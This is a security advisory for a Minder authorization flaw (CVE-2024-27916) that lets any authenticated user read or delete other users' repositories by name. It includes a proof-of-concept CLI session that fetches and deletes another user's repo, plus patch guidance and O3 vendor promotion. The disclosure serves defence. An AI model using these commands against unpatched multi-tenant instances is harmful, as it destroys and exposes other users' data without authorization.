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GHSA-v627-69v2-xx37

HIGH

`GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user

Also known asCVE-2024-27916GO-2024-2608
Published
Mar 5, 2024
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk47th percentile+0.43%
0.00%0.39%0.78%1.17%0.1%0.7%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/stacklok/minder

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have.

Details

https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23 https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278

The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.

DeleteRepositoryByName uses the same query and I have been able to delete another user's repo using this technique.

The GetArtifactByName endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.

PoC

Setup:

  1. Fresh provider/project on the production minder instance which is owned by me.
  2. A repo registered by another user (in this case, Ozz)
# show my identity
$ minder auth whoami
No config file present, using default values.

 Here are your details:

+----------------------------------------------------+----------------------------------------------------+
|                        KEY                         |                       VALUE                        |
+----------------------------------------------------+----------------------------------------------------+
| Subject                                            | c93cc12e-999d-49f4-9ee3-593fdfb39204               |
+----------------------------------------------------+----------------------------------------------------+
| Created At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Updated At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Minder Server                                      | api.stacklok.com:443                               |
+----------------------------------------------------+----------------------------------------------------+
| Project                                            | dmjb /                                             |
|                                                    | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab               |
+----------------------------------------------------+----------------------------------------------------+

# show that I have no repos registered
$ minder repo list
No config file present, using default values.
+----+---------+----------+-------------+-------+------+
| ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME |
+----+---------+----------+-------------+-------+------+

# show details on one of Ozz's repos
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
{
  "id":  "a7e82080-9b6c-41f3-bc08-8e9442f8b2d2",
  "context":  {
    "provider":  "github",
    "project":  "b513f7f0-26dc-42e6-81a0-577df5489e62"
  },
  "owner":  "JAORMX",
  "name":  "auditevent",
  "repoId":  "605597568",
  "hookUrl":  "https://api.github.com/repos/JAORMX/auditevent/hooks/464564107",
  "deployUrl":  "https://api.github.com/repos/JAORMX/auditevent/deployments",
  "cloneUrl":  "https://github.com/JAORMX/auditevent.git",
  "isFork":  true,
  "createdAt":  "2024-03-04T13:27:54.019356Z",
  "updatedAt":  "2024-03-04T13:27:54.019356Z",
  "defaultBranch":  "main"
}

# delete Ozz's repo
$ minder repo delete -n JAORMX/auditevent
No config file present, using default values.
Successfully deleted repo with name: JAORMX/auditevent

# Ozz's repo no longer exists
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
Message: Error getting repo by name
Details: NotFound means some requested entity (e.g., file or directory) was
not found.

Impact

Any user and project in a multi-tenant Minder instance.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/stacklok/minderall versions0.0.33

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/stacklok/minder. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/stacklok/minder to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v627-69v2-xx37 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-v627-69v2-xx37 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-v627-69v2-xx37. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have. ### Details https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23 https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278 The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for
O3 Security · Impact-Aware SCA

Is GHSA-v627-69v2-xx37 in your dependencies?

O3 detects GHSA-v627-69v2-xx37 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.